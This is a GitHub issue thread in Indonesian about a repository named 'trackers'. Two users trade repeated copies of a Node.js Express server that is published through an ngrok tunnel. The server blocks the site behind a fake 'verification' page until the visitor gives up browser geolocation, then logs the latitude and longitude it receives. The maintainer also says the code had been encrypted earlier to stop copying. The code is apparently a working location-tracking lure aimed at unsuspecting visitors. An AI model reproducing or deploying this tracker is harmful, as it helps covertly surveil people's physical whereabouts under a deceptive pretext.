Zeev-x / trackers

0 stars 0 forks source link

Bang??? #1

Open Yuri-Neko opened 6 months ago

Yuri-Neko commented 6 months ago

const express = require('express'); const ngrok = require('@ngrok/ngrok'); const session = require('express-session'); const bodyParser = require('body-parser'); const socketIo = require('socket.io'); const http = require('http'); const fs = require('fs'); const config = require('./config.json');

const app = express(); const server = http.createServer(app); const io = socketIo(server);

const port = config['port']; const ngrokAuthToken = config['ngrokAuthToken']; const ngrokDomain = config['ngrokDomain'];

var userLoc = [];

io.on('connection', socket => { socket.on('location', data => { var latitude = data['latitude']; var longitude = data['longitude']; console.log('Received location:', latitude, longitude); socket.emit('verified'); }); });

app.use(bodyParser.urlencoded({ extended: true }));

app.use(session({ 'secret': 'secret-key-yang-aman-dan-panjang', 'resave': false, 'saveUninitialized': false, 'cookie': { 'secure': false } }));

app.get('/verification', (req, res) => { var fileContent = fs.readFileSync('./request-location.html', 'utf8'); res.send(fileContent); });

app.post('/verify', (req, res) => { if (req.session['location']) { req.session['isVerified'] = true; res.redirect('/'); } else { res.send('Lokasi diperlukan untuk verifikasi.'); } });

app.use((req, res, next) => { if (req.session['isVerified'] || req.url === '/verification' || req.url === '/verify') { next(); } else { res.redirect('/verification'); } });

app.use(express.static('public'));

server.listen(port, async () => { try { const url = await ngrok.connect({ 'addr': port, 'authtoken': ngrokAuthToken, 'hostname': ngrokDomain }); console.log('Server ngrok berjalan di https://' + ngrokDomain); } catch (error) { console.error('Error starting ngrok:', error); } });

Zeev-x commented 6 months ago

Iya??

Yuri-Neko commented 5 months ago

Iya??

itu kan code fullnya 🗿

Zeev-x commented 5 months ago

Iya tapi di beberapa device tidak bekerja

const express = require('express');
const ngrok = require('ngrok');
const session = require('express-session');
const bodyParser = require('body-parser');
const socketIo = require('socket.io');
const http = require('http');
const fs = require('fs');
const config = require('./config.json');

const app = express();
const server = http.createServer(app);
const io = socketIo(server);
const port = config.port;
const ngrokAuthToken = config.ngrokAuthToken;
const ngrokDomain = config.ngrokDomain;

var userLoc = [];

io.on('connection', (socket) => {
    socket.on('location', (data) => {
        var latitude = data.latitude;
        var longitude = data.longitude;
        console.log('Received location:', latitude, longitude);

        // Lakukan verifikasi atau pemrosesan lokasi di sini
        // Misalnya, Anda bisa menyimpan lokasi ini di database untuk pengguna yang bersangkutan
        socket.emit('verified'); // Mengirimkan sinyal ke client bahwa lokasi telah diverifikasi
    });
});

// Middleware untuk parsing form data
app.use(bodyParser.urlencoded({ extended: true }));

app.use(session({
    secret: 'secret-key-yang-aman-dan-panjang', // Ganti dengan kunci rahasia yang lebih aman
    resave: false,
    saveUninitialized: false,
    cookie: { secure: false } // Ganti menjadi true jika menggunakan HTTPS
}));

app.get('/verification', (req, res) => {
    var html = fs.readFileSync('./request-location.html', 'utf8');
    res.send(html);
});

// Rute untuk memproses verifikasi
app.post('/verify', (req, res) => {
    if (req.body.location) {
        req.session.isVerified = true;
        res.redirect('/');
    } else {
        res.send('Lokasi diperlukan untuk verifikasi.');
    }
});

app.use((req, res, next) => {
    if (req.session.isVerified || req.path === '/verification' || req.path === '/verify') {
        next();
    } else {
        res.redirect('/verification');
    }
});

app.use(express.static('public'));

server.listen(port, async () => {
    try {
        const url = await ngrok.connect({
            addr: port,
            authtoken: ngrokAuthToken,
            hostname: ngrokDomain
        });
        console.log(`Server ngrok berjalan di https://${ngrokDomain}`);
    } catch (error) {
        console.error('Error starting ngrok:', error);
    }
});

Itu kode yang sudah saya perbaiki,sewaktu saya coba di pc,laptop dan hp saya semuanya berfungsi tidak seperti sebelumnya yang saat saya runing di laptop saya malah error

Yuri-Neko commented 5 months ago

Iya tapi di beberapa device tidak bekerja

const express = require('express');
const ngrok = require('ngrok');
const session = require('express-session');
const bodyParser = require('body-parser');
const socketIo = require('socket.io');
const http = require('http');
const fs = require('fs');
const config = require('./config.json');

const app = express();
const server = http.createServer(app);
const io = socketIo(server);
const port = config.port;
const ngrokAuthToken = config.ngrokAuthToken;
const ngrokDomain = config.ngrokDomain;

var userLoc = [];

io.on('connection', (socket) => {
    socket.on('location', (data) => {
        var latitude = data.latitude;
        var longitude = data.longitude;
        console.log('Received location:', latitude, longitude);

        // Lakukan verifikasi atau pemrosesan lokasi di sini
        // Misalnya, Anda bisa menyimpan lokasi ini di database untuk pengguna yang bersangkutan
        socket.emit('verified'); // Mengirimkan sinyal ke client bahwa lokasi telah diverifikasi
    });
});

// Middleware untuk parsing form data
app.use(bodyParser.urlencoded({ extended: true }));

app.use(session({
    secret: 'secret-key-yang-aman-dan-panjang', // Ganti dengan kunci rahasia yang lebih aman
    resave: false,
    saveUninitialized: false,
    cookie: { secure: false } // Ganti menjadi true jika menggunakan HTTPS
}));

app.get('/verification', (req, res) => {
    var html = fs.readFileSync('./request-location.html', 'utf8');
    res.send(html);
});

// Rute untuk memproses verifikasi
app.post('/verify', (req, res) => {
    if (req.body.location) {
        req.session.isVerified = true;
        res.redirect('/');
    } else {
        res.send('Lokasi diperlukan untuk verifikasi.');
    }
});

app.use((req, res, next) => {
    if (req.session.isVerified || req.path === '/verification' || req.path === '/verify') {
        next();
    } else {
        res.redirect('/verification');
    }
});

app.use(express.static('public'));

server.listen(port, async () => {
    try {
        const url = await ngrok.connect({
            addr: port,
            authtoken: ngrokAuthToken,
            hostname: ngrokDomain
        });
        console.log(`Server ngrok berjalan di https://${ngrokDomain}`);
    } catch (error) {
        console.error('Error starting ngrok:', error);
    }
});

Itu kode yang sudah saya perbaiki,sewaktu saya coba di pc,laptop dan hp saya semuanya berfungsi tidak seperti sebelumnya yang saat saya runing di laptop saya malah error

lalu kenapa sebelumnya di enc?

Zeev-x commented 3 months ago

Salah

Iya tapi di beberapa device tidak bekerja

const express = require('express');
const ngrok = require('ngrok');
const session = require('express-session');
const bodyParser = require('body-parser');
const socketIo = require('socket.io');
const http = require('http');
const fs = require('fs');
const config = require('./config.json');

const app = express();
const server = http.createServer(app);
const io = socketIo(server);
const port = config.port;
const ngrokAuthToken = config.ngrokAuthToken;
const ngrokDomain = config.ngrokDomain;

var userLoc = [];

io.on('connection', (socket) => {
    socket.on('location', (data) => {
        var latitude = data.latitude;
        var longitude = data.longitude;
        console.log('Received location:', latitude, longitude);

        // Lakukan verifikasi atau pemrosesan lokasi di sini
        // Misalnya, Anda bisa menyimpan lokasi ini di database untuk pengguna yang bersangkutan
        socket.emit('verified'); // Mengirimkan sinyal ke client bahwa lokasi telah diverifikasi
    });
});

// Middleware untuk parsing form data
app.use(bodyParser.urlencoded({ extended: true }));

app.use(session({
    secret: 'secret-key-yang-aman-dan-panjang', // Ganti dengan kunci rahasia yang lebih aman
    resave: false,
    saveUninitialized: false,
    cookie: { secure: false } // Ganti menjadi true jika menggunakan HTTPS
}));

app.get('/verification', (req, res) => {
    var html = fs.readFileSync('./request-location.html', 'utf8');
    res.send(html);
});

// Rute untuk memproses verifikasi
app.post('/verify', (req, res) => {
    if (req.body.location) {
        req.session.isVerified = true;
        res.redirect('/');
    } else {
        res.send('Lokasi diperlukan untuk verifikasi.');
    }
});

app.use((req, res, next) => {
    if (req.session.isVerified || req.path === '/verification' || req.path === '/verify') {
        next();
    } else {
        res.redirect('/verification');
    }
});

app.use(express.static('public'));

server.listen(port, async () => {
    try {
        const url = await ngrok.connect({
            addr: port,
            authtoken: ngrokAuthToken,
            hostname: ngrokDomain
        });
        console.log(`Server ngrok berjalan di https://${ngrokDomain}`);
    } catch (error) {
        console.error('Error starting ngrok:', error);
    }
});

Itu kode yang sudah saya perbaiki,sewaktu saya coba di pc,laptop dan hp saya semuanya berfungsi tidak seperti sebelumnya yang saat saya runing di laptop saya malah error

lalu kenapa sebelumnya di enc?

Awalnya biar ga di copy aja sih tapi menurut gw juga percuma karena gampang di pecahin juga enc nya

Yuri-Neko commented 3 months ago

Salah

Iya tapi di beberapa device tidak bekerja

const express = require('express');
const ngrok = require('ngrok');
const session = require('express-session');
const bodyParser = require('body-parser');
const socketIo = require('socket.io');
const http = require('http');
const fs = require('fs');
const config = require('./config.json');

const app = express();
const server = http.createServer(app);
const io = socketIo(server);
const port = config.port;
const ngrokAuthToken = config.ngrokAuthToken;
const ngrokDomain = config.ngrokDomain;

var userLoc = [];

io.on('connection', (socket) => {
    socket.on('location', (data) => {
        var latitude = data.latitude;
        var longitude = data.longitude;
        console.log('Received location:', latitude, longitude);

        // Lakukan verifikasi atau pemrosesan lokasi di sini
        // Misalnya, Anda bisa menyimpan lokasi ini di database untuk pengguna yang bersangkutan
        socket.emit('verified'); // Mengirimkan sinyal ke client bahwa lokasi telah diverifikasi
    });
});

// Middleware untuk parsing form data
app.use(bodyParser.urlencoded({ extended: true }));

app.use(session({
    secret: 'secret-key-yang-aman-dan-panjang', // Ganti dengan kunci rahasia yang lebih aman
    resave: false,
    saveUninitialized: false,
    cookie: { secure: false } // Ganti menjadi true jika menggunakan HTTPS
}));

app.get('/verification', (req, res) => {
    var html = fs.readFileSync('./request-location.html', 'utf8');
    res.send(html);
});

// Rute untuk memproses verifikasi
app.post('/verify', (req, res) => {
    if (req.body.location) {
        req.session.isVerified = true;
        res.redirect('/');
    } else {
        res.send('Lokasi diperlukan untuk verifikasi.');
    }
});

app.use((req, res, next) => {
    if (req.session.isVerified || req.path === '/verification' || req.path === '/verify') {
        next();
    } else {
        res.redirect('/verification');
    }
});

app.use(express.static('public'));

server.listen(port, async () => {
    try {
        const url = await ngrok.connect({
            addr: port,
            authtoken: ngrokAuthToken,
            hostname: ngrokDomain
        });
        console.log(`Server ngrok berjalan di https://${ngrokDomain}`);
    } catch (error) {
        console.error('Error starting ngrok:', error);
    }
});

Itu kode yang sudah saya perbaiki,sewaktu saya coba di pc,laptop dan hp saya semuanya berfungsi tidak seperti sebelumnya yang saat saya runing di laptop saya malah error

lalu kenapa sebelumnya di enc?

Awalnya biar ga di copy aja sih tapi menurut gw juga percuma karena gampang di pecahin juga enc nya

bjirt baru di jawab